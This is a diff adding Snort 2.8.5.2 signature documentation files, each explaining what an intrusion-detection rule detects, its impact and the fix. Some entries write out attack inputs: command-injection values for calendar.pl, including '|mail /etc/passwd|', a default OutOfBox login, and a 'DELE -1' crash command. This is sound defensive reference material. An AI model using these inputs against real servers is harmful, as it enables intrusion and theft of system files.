--- snort-2.8.5.2.orig/doc/signatures/476.txt
+++ snort-2.8.5.2/doc/signatures/476.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+
+Sid:
+476
+
+--
+
+Summary:
+This event is generated when Webtrends Security Scanner generates an ICMP echo
+request message.
+
+--
+
+Impact:
+ICMP echo requests are used to determine if a host is running at a
+specific IP address.  A remote attacker can scan a large range of hosts
+using ICMP echo requests to determine what hosts are operational on the
+network.
+
+--
+
+Detailed Information:
+Webtrends Ecurity Scanner generates a ICMP Echo Request message containing the
+following hex signature:
+
+|00000000454545454545454545454545|
+
+By searching for this string in a packet, it is possible to determine
+the type of host that generated the request.
+
+--
+
+Attack Scenarios:
+A remote attacker might scan a large range of hosts using ICMP echo
+requests to determine what hosts are operational on the network.
+
+--
+
+Ease of Attack:
+Simple.  The "ping" utility found on most operating systems can generate
+these types of ICMP messages.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+Packet generation tools can generate ICMP Echo requests with
+user-defined payloads.  This could allow attackers to replace this
+signature with binary values and conceal their operating system.
+
+--
+
+Corrective Action:
+To prevent information gathering, use a firewall to block incoming ICMP
+Type 8 Code 0 traffic.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+http://www.whitehats.com/info/IDS307
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000593.txt
+++ snort-2.8.5.2/doc/signatures/100000593.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000593
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "head.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "head.php" script 
+used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3438.txt
+++ snort-2.8.5.2/doc/signatures/3438.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3438
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3355.txt
+++ snort-2.8.5.2/doc/signatures/3355.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3355
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2128.txt
+++ snort-2.8.5.2/doc/signatures/2128.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+2128
+
+--
+Summary:
+This event is generated when an attempt is made to access srsrv.cgi on a
+web server. This may indicate an attempt to exploit a cross-site 
+scripting vulnerability that affects Neoteris Instant Virtual Extranet, 
+an appliance-based VPN solution.
+
+--
+Impact:
+Arbitrary code execution, possible session hijack.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a 
+cross-site scripting vulnerability in Neoteris Instant Virtual Extranet.
+An attacker can pass an argument to srsrv.cgi that bypasses 
+authentication, and can allow the attacker to hijack a legitimate user's
+VPN session. 
+
+--
+Affected Systems:
+Neoteris Instant Virtual Extranet 3.01 and earlier.
+
+--
+Attack Scenarios:
+An attacker can pass a specific argument to srsrv.cgi that bypasses 
+authentication and can hijack a legitimate user's VPN session.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the patch provided by Neoteris (https://support.neoteris.com).
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/7510
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0217
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11608
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1046.txt
+++ snort-2.8.5.2/doc/signatures/1046.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1046
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1552.txt
+++ snort-2.8.5.2/doc/signatures/1552.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1552
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1455.txt
+++ snort-2.8.5.2/doc/signatures/1455.txt
@@ -0,0 +1,69 @@
+Rule:  
+
+--
+Sid:
+1455
+
+--
+Summary: 
+This event is generated when an attempt is made to access a web 
+application that may lead to exploitation of the application.
+
+--
+Impact: 
+Potentially harmful execution of binaries through perl open()
+
+--
+Detailed Information: 
+An open source calendar perl script by Matt Kruse, Allows commands to be
+executed without input verification using the perl open() function. ie
+/cgi-bin/calendar.pl place the string "|ping 127.0.0.1|" in the
+configuration file field, this executes the command "ping 127.0.0.1" 
+
+--
+Affected Systems:
+	Matt Kruse Calendar Script version 2.2.
+
+--
+Attack Scenarios: 
+An unauthenticated user can execute arbitrary programs on the server by
+accessing calendar.pl and inputting commands such as "|mail
+/etc/passwd|" into the configuration file field.
+
+--
+Ease of Attack: 
+Simple. No exploit software required.
+
+--
+False Positives: 
+If your webserver has pages by the name of calendar.pl this rule will
+fire often. Many sites now use calendar applications and this rule may 
+generate a large number of false positives, it does not distinguish 
+between perl cgi applications and php scripts. Consider tuning this rule
+for your site if it is generating a large number of false positives. If 
+you use a calendar application, consider changing the name of the script
+to something other than "calendar.pl".
+
+--
+False Negatives: 
+None known.
+
+--
+Corrective Action: 
+Download a newer version of the cgi 
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Snort documentation contributed by Aaron Navratil (Initial Research)
+Snort documentation contributed by Josh Gray (Edits)
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://online.securityfocus.com/bid/1215
+
+--
--- snort-2.8.5.2.orig/doc/signatures/937.txt
+++ snort-2.8.5.2/doc/signatures/937.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+937
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2178.txt
+++ snort-2.8.5.2/doc/signatures/2178.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+2178
+
+--
+Summary:
+This event is generated when a remote attacker attempts to exploit a 
+format string vulnerability against an FTP server during authentication.
+
+--
+
+Impact:
+Attempted Admin.  A successful format string attack could result in the
+execution of arbitrary code with the same privileges as the user running
+the FTP daemon.
+
+--
+
+Detailed Information:
+Several FTP daemons are vulnerable to format string exploits during
+authentication to the FTP server.  A successful exploit attempt could 
+result in the remote attacker gaining unauthorized root access to the 
+vulnerable system.
+
+--
+Affected Systems:
+	SmallFTP v0.99
+
+--
+
+Attack Scenarios:
+A remote attacker could use a publicly available script to exploit the 
+vulnerability an gain control of the target host.
+
+--
+
+Ease of Attack:
+Simple. Numerous attack scripts exist to exploit this vulnerabiliy.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+SmallFTPD has released an updated software package that resolve the 
+problem. It can be downloaded from:
+http://smallftpd.free.fr
+
+--
+
+Contributors:
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+http://www.securityfocus.com/bid/7474
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1383.txt
+++ snort-2.8.5.2/doc/signatures/1383.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1383
+
+--
+Summary:
+This event is generated when activity by Peer-to-Peer (p2p) clients is 
+detected.
+
+--
+Impact:
+Informational event. Unauthorized use of a p2p client may be in 
+progress.
+
+--
+Detailed Information:
+This event indicates that use of a p2p client has been detected. This 
+may be against corporate policy. p2p clients connect to other p2p 
+clients to share files, commonly music and video files but can be 
+configured to share any file on the local machine.
+
+This activity may not only use bandwidth but may also be used to 
+transfer company confidential information to unauthorized hosts external
+to the protected network bypassing other security measures in place.
+
+--
+Affected Systems:
+Any host using a p2p client.
+
+--
+Attack Scenarios:
+This is indicative of the use of a p2p client.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+Any HTTP GET request to a port associated with a p2p application may
+generate a false positive event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Check the host and uninstall any p2p client found.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/112-1.txt
+++ snort-2.8.5.2/doc/signatures/112-1.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+112-1
+
+--
+Summary:
+This event is generated when the pre-processor spp_arpspoof detects
+network traffic that may constitute an attack. Specifically a directed
+arp request was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the spp_arpspoof pre-processor detects
+network traffic that may consititute an attack.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2121.txt
+++ snort-2.8.5.2/doc/signatures/2121.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2121
+
+--
+Summary:
+This event is generated when a remote user uses a negative argument in the DELE command sent to port 110 on an internal server.  This may indicate an attempt to exploit a boundary checking vulnerability in the POP DELE command in the Alt-N MDaemon mail server.
+
+--
+Impact:
+The service will crash when it attempts to process the command. The attacker must have a valid POP account on the mail server to attempt this exploit.
+
+--
+Detailed Information:
+This event may indicate an attempt to exploit a boundary checking vulnerability in the DELE command on the Alt-N MDaemon POP server. If an authenticated user sends the DELE command with a negative argument to the POP server, the MDaemon service will crash when it attempts to process the command. Note that this exploit can only be attempted by an authenticated user with a valid IMAP account on the server.
+
+--
+Affected Systems:
+Any operating system that runs the following IMAP servers:
+  -Alt-N MDaemon 6.0.0
+  -Alt-N MDaemon 6.0.5
+  -Alt-N MDaemon 6.0.6
+  -Alt-N MDaemon 6.0.7
+
+
+--
+Attack Scenarios:
+An authenticated user can send a DELE -1 command to the POP server, which will cause the service to crash.
+
+--
+Ease of Attack:
+Simple. Exploits and proof of concept exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to Alt-N MDaemon 6.5.0 or later.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/7445
+http://www.securityfocus.com/bid/6053
+
+--
--- snort-2.8.5.2.orig/doc/signatures/710.txt
+++ snort-2.8.5.2/doc/signatures/710.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+710
+
+--
+Summary:
+This event is generated after an attempted login to a telnet server 
+using the username OutOfBox.
+
+--
+Impact:
+Unauthorized remote access.
+
+--
+Detailed Information:
+Some SGI machines are shipped with an easy setup group of scripts to
+assist the user when setting up the host. This group of programs is
+called EZsetup and may install some passwordless default accounts on the 
+machine.
+
+This event is generated when an attempt is made to login to a server
+using the username OutOfBox via Telnet. This is a default account on some
+SGI based machines. The password may also be OutOfBox or it may not have
+a password assigned.
+
+Repeated events from this rule may indicate a determined effort to guess
+the password for this account.
+
+--
+Affected Systems:
+	SGI Telnet servers.
+
+--
+Attack Scenarios:
+An attacker may attempt to connect to a telnet server using the username
+OutOfBox.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the OutOfBox account.
+
+Choose the most secure options when using EZsetup.
+
+Use ssh as an alternative to Telnet
+
+Block inbound telnet access if it is not required.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3264.txt
+++ snort-2.8.5.2/doc/signatures/3264.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3264
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/485.txt
+++ snort-2.8.5.2/doc/signatures/485.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+485
+
+--
+Summary:
+This event is generated when a router was unable to forward a packet due
+to filtering and used the Internet Control Message Protocol to alert
+involved hosts.
+
+--
+Impact:
+Unknown. This particular message is meant only to be informative but can be
+indicative of malicious activity (spoofed traffic, DoS).
+
+--
+Detailed Information:
+A packet sent between two points on a network was administratively
+prohibited via filtering of some sort. The host or device performing the
+filtering returned an ICMP message informing the apparent source host
+that filtering had been done.
+
+--
+Affected Systems:
+	All systems.
+
+--
+Attack Scenarios:
+In a DoS attack it is common to to use spoofed source addresses.  If
+and when the traffic gets filtered and an ICMP message is returned,
+the spoofed source address will be the recipient of the ICMP message.
+A similar situation may occur when a large portscan is occuring and an
+attempt is made to mask the true source of the scan by using spoofed
+source addresses.  
+
+--
+Ease of Attack:
+Simple. Tools are readily available that can craft arbitrary ICMP
+packets. It is also possible to spoof packets using arbitrary
+addresses potentially causing intermediary routers to generate ICMP
+messages.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+None needed unless messages become excessive or appear to be invalid. 
+
+Determine what traffic caused this particular ICMP message to be
+generated and act accordingly.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+RFC 1812:
+ftp://ftp.isi.edu/in-notes/rfc1812.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1755.txt
+++ snort-2.8.5.2/doc/signatures/1755.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+1755
+
+--
+Summary:
+This event is generated when a remote authenticated user sends a malformed request for partial mailbox attributes to an internal IMAP server, indicating an attempt to exploit a buffer overflow vulnerability in some versions of IMAP.
+
+--
+Impact:
+Remote execution of arbitrary code, possible denial of service. The attacker must have a valid IMAP account to attempt this exploit.
+
+--
+Detailed Information:
+Versions of University of Washington imapd that are compiled with RFC 1730 support contain a vulnerability where an authenticated user can send a malformed request for partial mailbox attributes to the IMAP server, causing a buffer overflow condition. The attacker can then run arbitrary code on the server or crash the server completely.    
+
+--
+Affected Systems:
+Any operating system running University of Washington imapd compiled with RFC 1730 support, which includes the following versions of University of Washington imapd:
+2000.0
+2000.0a
+2000.0b
+2000.0c
+2001.0
+2001.0a
+
+--
+Attack Scenarios:
+An attacker with a valid user account sends a malformed request for partial mailbox attributes, causing a buffer overflow condition. The attacker can then execute arbitrary code on the server or can crash the mail server.
+
+--
+Ease of Attack:
+Simple. Exploits exist, but the attacker must have a valid account on the IMAP server.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade University of Washington imapd to 2002.0 or higher, or apply the patch for your current version of UW IMAP appropriate to your operating system. The University of Washington has provided patches that address this vulnerability, and affected operating system vendors have distributed patches for their specific implementations of UW IMAP.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2787.txt
+++ snort-2.8.5.2/doc/signatures/2787.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2787
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure instantiate_online
+. This procedure is included in
+dbms_repcat_instantiate.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1175.txt
+++ snort-2.8.5.2/doc/signatures/1175.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+Sid:
+1175
+
+--
+
+Summary:
+This event is generated when an attempt is made to access the
+wwwboard.pl web application on a web server.
+
+--
+Impact:
+Possible unauthorised remote administration of the webboard application.
+
+--
+Detailed Information:
+Some versions of WWWBoard, Matt Wright's CGI web application, have
+vulnerabities, including a default administration password for
+the web application, and a flaw in content checking for posts of followup
+messages that can allow an attacker to overwrite previous posts
+
+--
+Affected Systems:
+ Matt Wrights WWWBoard
+
+--
+Attack Scenarios:
+An attacker can gain control of the application by using the default
+username and password for the script.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+Normal, non-malicious accesses to wwwboard will generate events.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Do not use WWWBoard.
+
+Reconfigure the script to use a different administrator password.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3353.txt
+++ snort-2.8.5.2/doc/signatures/3353.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3353
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000469.txt
+++ snort-2.8.5.2/doc/signatures/100000469.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000469
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "iFoto" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "dir" parameter in the "index.php" script used 
+by the "iFoto" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using iFoto
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
